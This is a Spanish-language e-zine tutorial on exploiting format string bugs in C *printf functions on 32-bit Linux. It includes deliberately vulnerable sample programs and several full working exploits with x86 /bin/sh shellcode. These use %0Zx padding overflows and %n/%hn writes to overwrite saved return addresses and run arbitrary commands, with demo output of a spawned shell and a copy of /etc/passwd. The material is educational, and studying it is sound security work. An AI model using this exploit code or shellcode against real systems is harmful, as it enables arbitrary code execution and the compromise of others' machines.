-[ 0x08 ]--------------------------------------------------------------------
-[ Format Bugs ]-------------------------------------------------------------
-[ by Doing ]---------------------------------------------------------SET-24-


                              Format bugs 
                              =-=-=-=-=-=
                               by Doing

 Intro
 =-=-=

  Recientemente han aparecido una serie de "bugs" o fallos de programacion
 que parecen estar afectando a un gran numero de programas, demonios, etc...
 Esta ocurriendo mas o menos lo mismo que con los buffer overflows, solo que
 estos bugs son algo mas complicados de entender. En este articulo voy a 
 intentar explicar en que consisten este tipo de fallos, asi como formas de
 aprovecharse de ellos para ejecutar codigo arbitrario. Vamos a ello.

 Funciones conversoras
 =-=-=-=-=-=-=-=-=-=-=

  La verdad no se si se llaman asi, pero son las conocidas funciones *printf,
 que siempre toman un argumento que indica "el formato", asi que de aqui en
 adelante las llamare *printf o funciones conversoras.
  
  Todas las funciones tienen esta estrucura:

 int nombre ([destino], char *FORMATO, ...);

 por ejemplo sprintf:

 int sprintf( char *str, const char *format, ...);

  Estas funciones sirven para "convertir" valores, cadenas, direcciones, etc
 en algo que el programador quiera, comumente la represancion ascii de un
 numero, el valor ascii en hexadecimal de una direccion, etc. Para tal fin, se
 le pasa a la funcion una cadena de caracteres que continene unos "simbolos"
 que indican el tipo de conversion y opcionalmente parametros como la longitud
 del valor convertido, padding y alguno mas. Estos "simbolos" estas compuestos
 por un signo '%' y un caracter que indica el tipo de conversion. Estos son
 algunos que nos interesan:

 %s -> cadena de caracteres
 %x -> valor hexadecimal
 %p -> puntero
 %i -> entero
 %u -> entero sin signo
 %n y %hn los veremos despues 
 ...

  Hay muchos mas, man printf para mas detalles ;-)

  Hay ciertos "parametros" que se le pueden pasar a la funcion en la cadena de
 formato, para indicar tamanio o padding. Con un par de ejemplos se ve claro:

 %04x -> convierte a un numero hexadecimal. Como mucho muestra 4 cifras, y si 
         ocupa menos rellena el resto con ceros.

 %.400d -> convierte a un numero entero. Como mucho muestra 400 cifras, y si
           ocupa menos rellena el resto con ceros.

 El problema
 =-=-=-=-=-= 

  Lo mas logico a la hora de convertir un string es hacer algo como esto:
 printf("%s", str) ; pero claro, algunos programadores piensan, si no voy
 a convertir ningun valor, para que pongo cadena de fornato? y dejan lo
 anterior asi: printf(str);, lo que es un grave error. 
  
  Esa cadena que se le pasa como formato, puede dar la casualidad de tener
 algun simbolo '%', asi que printf lo tomara como un conversor y tratara de
 convertir el valor. Si la cadena no la puede suministrar el usuario no es
 tan grave, pero si podemos elegir lo que ira en la cadena de formato entonces
 entramos en juego :P

  Hay dos formas de explotar estos fallos. La primera es practicamente igual
 que un overflow convencional, la segunda es usando los conversores %n y %hn,
 que ya explicare en su momento.

 Forma # 1
 =-=-=-=-=
 
 El overflow tradicional se basa en que un programa hace una copia de una zona
 de memoria a otra que se encuentra en el stack sin hacer un chequeo de la
 longitud de la primera zona, con lo que si la cadena o zona fuente es mas
 grande que la de destino se sobreescriben los bytes siguientes. 

  Vamos a jugar con este programa vulnerable:

<++> formats/vulnerable1.c

void copia(char *src)
{
  char dst[1024];

  if (strlen(src) > 1024) {
    printf("Buen intento! :P\n");
    exit(-1);
  }

  sprintf(dst, src);
  printf("El primer argumento es: %s\n", dst);
}

int main(int argc, char **argv)
{

  if (argc < 2) {
    printf("Uso:\n");
    printf(" %s <argumento>\n\n", argv[0]);
    exit(0);
  }

  copia(argv[1]);

  return 0;
}

<-->

  El funcionamiento es muy simple: el programa mira si tiene un argumento
 suministrado por el usuario; si es asi, llama a la funcion copia() pasandole
 como parametro dicho argumento, y esta funcion copia con sprintf() el
 argumento a un buffer local, *pero* antes comprueba que la longitud del
 parametro no sea mayor que el buffer local, para evitar desbordamientos, asi
 que no podemos desobordar este programa usando la tipica tecnica del buffer
 overflow.

  El fallo del programa esta logicamente en que para copiar el argumento en 
 el buffer usa sprintf() pasandole como cadena de formato el argumento, que,
 casualmente, lo sumistra el usuario ;-P.  

  Como lo explotamos? Vamos a saltarnos el chequeo de la longitud del
  argumento, usando un %0Zx, siendo ZZ el tama~o de la cadena destino.
  Observad lo que pasa al hacerlo:

doing@apocalipsis:~> ./vuln %01038x
El primer argumento es: 0000 [muchos '0's] 000bffff608
Segmentation fault
doing@apocalipsis:~>

  Conseguimos desbordar el buffer destino. A la hora de hacer el exploit hay
que tener varias cosas en cuenta.Tenemos que meter por en medio del argumento
la cadena %0Zx, ademas de la shellcode, las NOP's y la direccion con la que
sobreescribiremos EIP. Las NOP's y la shellcode tienen que ir juntas, pero
la 'futura' EIP no es necesario que vaya a continuacion de la shellcode; asi
que el argumento que le tendriamos que pasar al programa tendria este formato:

	 [NOP's] [shellcode] [cadena %0Zx ] [ 'futura' EIP ]

 La cantidad optima de NOP's seria TAMA~O DEL BUFFER - TAMA~O DEL SHELLCODE
 - 4 BYTES DE EIP - LONGITUD DE LA CADENA %0Zx,
de forma que se cumpliera que la longitud del argumento fuese igual al tama~o
del buffer, y que se cumpliera esta ecuacion:

 NOP's + TAMA~O SHELLCODE + 4 bytes de EIP + (parametro 'Z' - longitud de
 cadena %0Zx) = TAMA~O BUFFER + 8

  Para el valor de Z se debe usar como minimo el 13, para que todo encaje
 perfectamente y asi se usa el mayor numero de NOP's posible, si asi no os 
 cuadra la ecuacion de arriba id incrementando el valor de Z y recalculando
 el numero de NOP's hasta que os cuadre todo.

  En este exploit voy a usar estos valores:

 - tama~o del buffer : 1024
 - NOP's : 970
 - valor Z : 13
 
  Aqui lo teneis:

<++> formats/exploit1.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define NOP 0x90

#define BUFFER_SIZE 1024

u_int32_t get_sp()
{
  __asm__(" movl %esp, %eax ");
}

int main(int argc, char **argv)
{
  char *fmt_str = "%013x";
  int NOPS = BUFFER_SIZE - strlen(shellcode) - 4 - strlen(fmt_str);
  char evil_buf[BUFFER_SIZE + 1];
  char *ptr = evil_buf;
  int c;
  u_int32_t ret = get_sp();
  int offset = 0;
  char *args[3];

  printf("Uso: %s [offset]\n", argv[0]);

  memset(evil_buf, 0, sizeof(evil_buf));
  
  for (c = 0; c < NOPS; c++)
    *(ptr++) = NOP;

  if (argc > 1) offset = atoi(argv[1]);
  ret -= offset;

  printf("NOP\'s = %i EIP = %x OFFSET = %i\n", NOPS, ret, offset);

  sprintf(ptr, "%s%s%c%c%c%c", shellcode, fmt_str,
   ret & 0xff,
   (ret & 0xff00) >> 8, 
   (ret & 0xff0000) >> 16, 
   (ret & 0xff000000) >> 24);
 
  args[0] = "./vuln";
  args[1] = evil_buf;
  args[2] = NULL;

  execve(args[0], args, NULL);

  printf("Error al ejecutar %s\n", args[0]);
} 

<-->

 Y aqui teneis la demostracion :P

doing@apocalipsis:~> ./exploit1 -1000
Uso: ./exploit1 [offset]
NOP's = 970 EIP = bffff9ac OFFSET = -1000
El primer argumento es: [NOP's y caracteres no-printables :P]
1@̀/bin/sh0000090909090 sh-2.03$


 Forma # 2
 =-=-=-=-=

 En muchas ocasiones la funcion conversora usada no copiara un buffer en otro,
 sino que simplemente escribira algo por pantalla, en el syslog, o algo
 parecido, asi que nos podemos ir olvidando de explotar estos programas por
 medio del overflow tradicional.

  Asi que no podemos sobreescribir nada, pero, podemos usar los conversores %n
 y %hn. Estos conversores en realidad no "convierten nada". Toman como
 argumento un puntero, y escriben en esa zona de memoria el numero de bytes
 procesados por printf hasta el %n o %hn. La diferencia entre ambos es que %n
 escribe un numero de 32 bits y %hn de 16 bits. Un par de ejemplos:

 int c;
 short int d;
 .
 .
 printf("1234%n5678%hn", &c, &d);
 .
 .
 printf("c vale %i y d vale %i\n", c, d);

 Que creeis que sacare este programa por pantalla? Esto:

 c vale 4 y d vale 8

 Entendido? Bien, seguimos :P

 Asi que podemos escribir en memoria con estos conversores, asi que, esta
 claro que lo intentaremos sobreescribir es la EIP salvada en el stack :P

 Pero la direccion donde se escribe se la tenemos que pasar como parametro a
 la funcion conversora, pero... como??

 Paso de parametros
 =-=-=-=-=-=-=-=-=-

  Recordemos: la funcion coversora va recorriendo su cadena de formato en
  busca de 'tags' de conversion, y cuando encuentra uno coje un dato del
  stack, como un parametro de una funcion (es que es eso :P). Un ejemplo:

 - Si la cadena de formato es esta "%i %n %d %s", la funcion conversora
 asociara cada 'tag' con estos parametros en el stack:

[Variab. locales] [SAVED EBP] [SAVED EIP] [PARAM1] [PARAM2] [PARAM3] [PARAM4]
/\                  /\                         /\       /\       /\       /\
||                  ||                         ||       ||       ||       ||
ESP                 EBP                        %i       %n       %d       %s

  Asi que la unica forma que tenemos de pasarle parametros a la funcion es
 poder escribir en una zona del stack que este mas 'alta' que la zona de esa
 funcion, y despues 'paddear' con %.8d o %08x o con lo que quieras hasta hacer
 coincidir el/los conversores %n/%hn con sus respectivos parametros.

  Vamos a jugar un poco con este programilla:

<++> formats/prueba.c

#include <stdio.h>
#include <stdlib.h>

void escribe(char *arg)
{
  int test = 0xaabbccdd;
  printf(arg);
  fflush(stdout);
}

int main()
{
  int l;
  char localbuffer[256];

  for (l = 0; l < 3; l++) {
    memset(localbuffer, 0, 256);
    read(0, localbuffer, 256);
    escribe(localbuffer);
  }
}

<-->

 Compilamos y ejecutamos:

doing@apocalipsis:~> gcc prueba.c -o prueba
doing@apocalipsis:~> ./prueba 

 Ahora, si escribimos algo, se le pasara como cadena de formato a printf:

doing@apocalipsis:~> ./prueba 
probando %i
probando -1430532899
probando %n
Segmentation fault
doing@apocalipsis:~> 

 Mmm, lo que ha pasado aqui es que printf ha intentado escribir en la posicion
 de memoria -1430532899, y por eso ha causado un segfault. Vamos a paddear y
 tratar de escribir en una zona de memoria que nosotros queramos. El stack
 de este programa en la funcion printf esta asi:

 [arg] [test] [EBP] [EIP] [arg] [localbuffer] [l] [EBP] [EIP] ...

  El printf coje arg como cadena de formato, y luego ira cogiendo el resto de
 los parametros del stack segun vaya encontrando 'tags'. Nosotros podemos
 escribir en localbuffer, asi que si padeamos con %d hasta llegar al
 localbuffer, el siguiente tag se asociara con los primeros 4 bytes de
 localbuffer, y habremos conseguido pasar parametros al tag :P

  Cuantos %d ponemos ? Pues, 1 (test) + 1 (ebp) + 1 (eip) + 1 (arg) = 4.

doing@apocalipsis:~> ./prueba 
AAAA %d %d %d %d %x
AAAA -1430532899 -1073743352 134513825 -1073743416 41414141


 Funciona :-). Hemos asociado AAAA con el %x, y hemos escrito 41414141
 (nota: AAAA en hexa es 0x41414141)


 Sobrescribiendo EIP's
 =-=-=-=-=-=-=-=-=-=-=

  Ahora que ya sabemos como pasar parametros a printf nos queda la parte mas
 complicada :P

  Vamos a tratar de explotar el programa prueba. Tenemos que sobreescribir la 
 direcciona de la shellcode en la EIP salvada de la funcion escribe.
 Como podemos averiguar esta direccion? Asip:

doing@apocalipsis:~> ./prueba 
%p %p %p %p %p %p
0xaabbccdd 0xbffffa18 0x80484ae 0xbfffea18 0x25207025 0x70252070
                                     /\
                                     ||
           Esto es arg, que a su vez es la direccion de locabuffer.
 Si miramos al mapa del stack de antes:

 [arg] [test] [EBP] [EIP] [arg] [localbuffer] [l] [EBP] [EIP] ...

 La posicion de EIP esta 8 bytes por debajo de la de localbuffer, y la de
 localbuffer la conocemos :P. direccion de eip = 0xbfffea18 - 8 = 0xbfffea10

 Ya tenemos la direccion. vamos a hacer un programa que escriba un numero en
 esta direccion usando %n, y miraremos donde nos da el segfault el programa.

<++> formats/escribe1.c 


#include <stdio.h>
#include <stdlib.h>

int main()
{
  int retdir =  0xbfffea10;
  char buffer[4096];
  char *args[2];
  int padding = 4, c;
  int fds[2];
  int status, pid;

  args[0] = "./prueba";
  args[1] = NULL;

  memset(buffer, 0, 4096);

  /* Ponemos la direccion donde vamos a escribir */
  *(int*)buffer = retdir;

  /* Ponemos el padding para cuadrar el %n con su argumento */
  for (c = 0; c < padding; c++) strcat(buffer, "%d");

  /* Y ahora el %n */

  strcat(buffer, "%n");

  /* Ahora creamos una pipe  */

  pipe(&fds);

  /* Duplicamos el proceso */

  if (!(pid = fork())) {
    /* proceso hijo */
    /* Cerramos el descriptor de escritura */
    close(fds[1]);

    /* Cierro entrada estandar */
    close(0);

    /* Y hago que la pipe sea la nueva stdin */
    dup2(fds[0], 0);

    /* Ejecutamos prueba */
    execve(args[0], args, NULL);
    printf("execve ha fallado\n");
    exit(-1);
  }

  /* proceso padre */
  /* Cerramos el descriptor de escritura */
  close(fds[0]);

  /* Pongo el intro al final de buffer */
  strcat(buffer, "\n");
  
  printf("Enviando parametro a prueba...\n"); fflush(stdout);
  sleep(1);

  write(fds[1], buffer, strlen(buffer));
  write(fds[1], "\n\n", 2);
  

  waitpid(pid, &status, 0);
  /* Esperamos que finalice el proceso hijo antes de salir */
}

<-->

 Compilamos y ejecutamos:

doing@apocalipsis:~> gcc escribe1.c -o escribe1
doing@apocalipsis:~> ./escribe1 
Enviando parametro a prueba...
doing@apocalipsis:~>

 mmmm, pos no ha funcionado :/ Que pasa? Pues pasa que la direccion de eip
 ha cambiado, porque el proceso prueba tiene un padre distinto, antes era la
 shell, y ahora es el propio exploit. Pero esto quiere decir que la direccion
 de eip cambiara en cada maquina, asi que tenemos que currarnoslo para que el
 exploit busque la direccion, recordais como la averiguamos? :P

 Aqui teneis el exploit:

<++> formats/escribe2.c

#include <stdio.h>
#include <stdlib.h>

int main()
{
  int retdir =  0xbfffea10;
  char buffer[4096], buffer2[256];
  char *args[2];
  int padding = 4, c, a1, a2, a3;
  int fds[2], fds2[2];
  int status, pid, l;

  args[0] = "./prueba";
  args[1] = NULL;

  /* Ahora creamos *dos* pipes  */

  pipe(&fds);
  pipe(&fds2);

  /* Duplicamos el proceso */

  if (!(pid = fork())) {
    /* proceso hijo */
 /* Cerramos el descriptor de escritura  de una pipe y el de lectura de otra*/
    close(fds[1]);
    close(fds2[0]);

    /* Cierro stdin y stdout */
    close(0);
    close(1);

 /* Y hago que una pipe sea la nueva stdin y la otra stdout*/
    dup2(fds[0], 0);
    dup2(fds2[1], 1);

    /* Ejecutamos prueba */
    execve(args[0], args, NULL);
    printf("execve ha fallado\n");
    exit(-1);
  }

  /* proceso padre */
  /* Cerramos el descriptor de escritura y el de lectura de la otra */
  close(fds[0]);
  close(fds2[1]);

  sprintf(buffer2, "%s", "%p %p %p %p\n");
  printf("Averiguando la direccion de eip...\n"); fflush(stdout);
  write(fds[1], buffer2, strlen(buffer2));
  
  memset(buffer2, 0, 256);
  read(fds2[0], buffer2, 256);

  printf("leido = %s\n", buffer2);

  sscanf(buffer2, "%x %x %x %x\n", &a1, &a2, &a3, &retdir);
  /* Ahora tenemos en retdir la direccion de localbuffer. Le restamos 8 para
     obtener la direccion de eip */
  retdir -= 8;
  printf("retdir = %p\n", retdir);

  memset(buffer, 0, 4096);
  /* Ponemos la direccion donde vamos a escribir */
  *(int*)buffer = retdir;

  /* Ponemos el padding para cuadrar el %n con su argumento */
  for (c = 0; c < padding; c++) strcat(buffer, "%d");

  /* Y ahora el %n */
  strcat(buffer, "%n");

  /* Pongo el intro al final de buffer */
  strcat(buffer, "\n");
  
  printf("Enviando parametro a prueba...\n"); fflush(stdout);
  sleep(10);

  write(fds[1], buffer, strlen(buffer));
  
  for (;;) {
    l = read(fds2[0], buffer2, 256);
    if (l < 0) break;
    write(1, buffer2, l);
  }

  waitpid(pid, &status, 0);
  /* Esperamos que finalice el proceso hijo antes de salir */
}

<-->

doing@apocalipsis:~> gcc escribe2.c -o escribe2
doing@apocalipsis:~> ./escribe2
Averiguando la direccion de eip...
leido = 0xaabbccdd 0xbfffff08 0x804851e 0xbfffef08

retdir = 0xbfffef00
Enviando parametro a prueba...

[ctrl + c]
doing@apocalipsis:~>

 Arg, lo que me faltaba, la direccion tiene un \0 :-/. Vamos a probar a
 sobreescribir la direccion de retorno de main(), que debera estar en
 localbuffer + 256 + 4 (l) + 4 (ebp). Cambiad la linea que pone retdir -= 8
 por retdir += 264. Tambien cambiad la linea que pone sleep(1) por sleep(10).

---------- En una terminal ----------------------
doing@apocalipsis:~> ./escribe2
Averiguando la direccion de eip...
leido = 0xaabbccdd 0xbfffff08 0x8048532 0xbffffe04

retdir = 0xbfffff0c
Enviando parametro a prueba...

-------- Mientras, en la otra ------------------
doing@apocalipsis:~> ps aux | grep pru
doing      587  0.0  0.5  1104   368  ?  S    14:13   0:00 ./prueba 
doing@apocalipsis:~> gdb ./prueba 587
GNU gdb 4.18
[ cut cut cut ]
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x2e in ?? ()
(gdb) 


  mmmm, parece que ya conseguimos sobreecribir eip :). Pero hemos puesto 0x2e,
 y nos vendria mejor poner una direccion con una shellcode, no creeis? ;->

  La direccion que pongamos dependera del numero de bytes escritos por printf
 hasta encontrar el %n. Asi que tenemos que arreglarnoslas para meter un
 porron de bytes antes del %n, pero locabuffer solo tiene 256 XD

  Como lo hacemos? Vamos a hacer que printf 'cree' esos bytes para
 nosotros, usando padding. Bueno, lo primero es calcular el numero de bytes
 escritos por los %d y la direccion de eip. eip son 4 bytes, pero los %d
 pueden ser cadenas como "4", "-12783457" o "700", y eso muchas veces no es
 predecible, asi que vamos a usar como padding el "%08x", que siempre escribe
 8 bytes. El utlimo %x lo usaremos para que printf genere los bytes que nos 
 hacen falta, asi que de momento sabemos que tenemos estos bytes escritos:

 4 de la direccion de eip + 8 * 3 de los "%08x" = 28

 Y despues pondremos el %0XXXx. Donde XXXX es la direccion que queremos poner
 en eip *menos* los 28 bytes que ya tenemos escritos.

 Pero poner todos los bytes de una sola vez hacen que printf cause un
 segfault, asi que lo haremos en 2 tandas, usando %hn, y poniendo al
 principio 2  direcciones, una la de eip, y la otra la de eip+2.

 La shellcode la pondremos en una variable de entorno, y lo que hace es
 ejecutar el comando que le digamos, ya que una shell no podemos porque
 los descriptores de la stdin y stdout estan chapados. El exploit quedaria
 asi: 

<++> formats/exploit.c

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define NOPS 3500

char *shellcode =
"\xeb\x4b\x5e\x89\x76\xac\x83\xee\x20\x8d\x5e\x28\x83\xc6\x20\x89"
"\x5e\xb0\x83\xee\x20\x8d\x5e\x2e\x83\xc6\x20\x83\xc3\x20\x83\xeb"
"\x23\x89\x5e\xb4\x31\xc0\x83\xee\x20\x88\x46\x27\x88\x46\x2a\x83"
"\xc6\x20\x88\x46\xab\x89\x46\xb8\xb0\x2b\x2c\x20\x89\xf3\x8d\x4e"
"\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xb0\xff"
"\xff\xff/bin/sh -c ";

int main(int argc, char **argv)
{
  int retdir =  0xbfffea10;
  char buffer[4096], buffer2[256];
  char *args[2];
  int padding = 3, c, a1, a2, a3;
  int fds[2], fds2[2];
  int status, pid, l;
  unsigned int shaddr = 0xbfffffff;
  unsigned int hi, lo;
  int offset = 0;
  char cmd[256];
  char envi[4096];
  char *envp[2];

  printf("xploit para prueba\n");
  printf("Uso:\n %s <offset> <comando>\n", argv[0]);
  if (argc < 3) exit(0);

  offset = atoi(argv[1]);
  shaddr -= offset;

  memset(cmd, 0, 256);
  for (c = 2; c < argc; c++) {
    strcat(cmd, argv[c]);
    strcat(cmd, " ");
  }

  memset(envi, NOP, 4096);
  sprintf(&envi[NOPS], "%s%s", shellcode, cmd);
  memcpy(envi, "A=", 2);
  envp[0] = envi;
  envp[1] = NULL;

  args[0] = "./prueba";
  args[1] = NULL;

  /* Ahora creamos *dos* pipes  */

  pipe(&fds);
  pipe(&fds2);

  /* Duplicamos el proceso */

  if (!(pid = fork())) {
    /* proceso hijo */
 /* Cerramos el descriptor de escritura  de una pipe y el de lectura de otra*/
    close(fds[1]);
    close(fds2[0]);

    /* Cierro stdin y stdout */
    close(0);
    close(1);

 /* Y hago que una pipe sea la nueva stdin y la otra stdout*/
    dup2(fds[0], 0);
    dup2(fds2[1], 1);

    /* Ejecutamos prueba */
    execve(args[0], args, envp);
    printf("execve ha fallado\n");
    exit(-1);
  }

  /* proceso padre */
  /* Cerramos el descriptor de escritura y el de lectura de la otra */
  close(fds[0]);
  close(fds2[1]);

  sprintf(buffer2, "%s", "%p %p %p %p\n");
  printf("Averiguando la direccion de eip...\n"); fflush(stdout);
  write(fds[1], buffer2, strlen(buffer2));
  
  memset(buffer2, 0, 256);
  read(fds2[0], buffer2, 256);

  printf("leido = %s\n", buffer2);

  sscanf(buffer2, "%x %x %x %x\n", &a1, &a2, &a3, &retdir);
  /* Ahora tenemos en retdir la direccion de localbuffer. Le restamos 8 para
     obtener la direccion de eip */
  retdir += 264;
  printf("retdir = %p\n", retdir);

  memset(buffer, 0, 4096);
  /* Ponemos la direccion donde vamos a escribir */

  hi = (shaddr >> 16) & 0xffff;
  lo = shaddr & 0xffff;

  if (lo > hi) {
    *(int*)buffer = retdir + 2;
    *(int*)(buffer+4) = retdir;
    *(int*)(buffer+8) = retdir;
  }

  if (hi > lo) {
    *(int*)buffer = retdir;
    *(int*)(buffer+4) = retdir + 2;
    *(int*)(buffer+8) = retdir + 2;
  }


  /* Ponemos el padding para cuadrar el %n con su argumento */
  for (c = 0; c < padding; c++) strcat(buffer, "%08x");

  if (hi > lo) {
    hi -= lo;
    sprintf(buffer2, "%%0%ux%%hn%%0%ux%%hn", lo - 36, hi);
  }

  if (lo > hi) {
    lo -= hi;
    sprintf(buffer2, "%%0%ux%%hn%%0%ux%%hn", hi - 36, lo);
  }


  strcat(buffer, buffer2);

  /* Pongo el intro al final de buffer */
  strcat(buffer, "\n");
  
  printf("Enviando parametro a prueba...\n"); fflush(stdout);
  sleep(1);

  write(fds[1], buffer, strlen(buffer));
  
  for (;;) {
    l = read(fds2[0], buffer2, 256);
    if (l < 0) break;
    write(1, buffer2, l);
    write(fds[1], "\n", 1);
  }

  waitpid(pid, &status, 0);
  /* Esperamos que finalice el proceso hijo antes de salir */
}

<-->

Compilamos y ejecutamos:

doing@apocalipsis:~> ./exploit 1000 /bin/cp /etc/passwd /loko 

[ Un monton de caracteres ]

doing@apocalipsis:~> ls -las /loko
   3 -rw-r--r--   1 doing     users         2056 Nov  4 16:04 /loko

Al primer intento :)

 
 Conclusion
 =-=-=-=-=-

  Como se puede ver, estos bugs son relativamente dificiles de explotar, aun
 viendo el resultado del printf hemos tenido algunos problemas, asi que sin
 verlo como pasa al intentar explotar demonios o programas donde no ves el
 resultado es muy dificil. En estos casos se suelen usar offsets y direcciones
 por defecto, que suelen ser las mismas en distribuciones iguales (en linux).

  Hay mas variantes de este fallo ademas de esta que he mostrado, como por
 ejemplo los syslog y funciones que llaman a vsprintf que se comportan como
 funciones de formato. 

  Bueno, pues... eso es todo :)


                        El placer mas noble es el jubilo de comprender
                                                - Leonardo da Vinci

 *EOF*
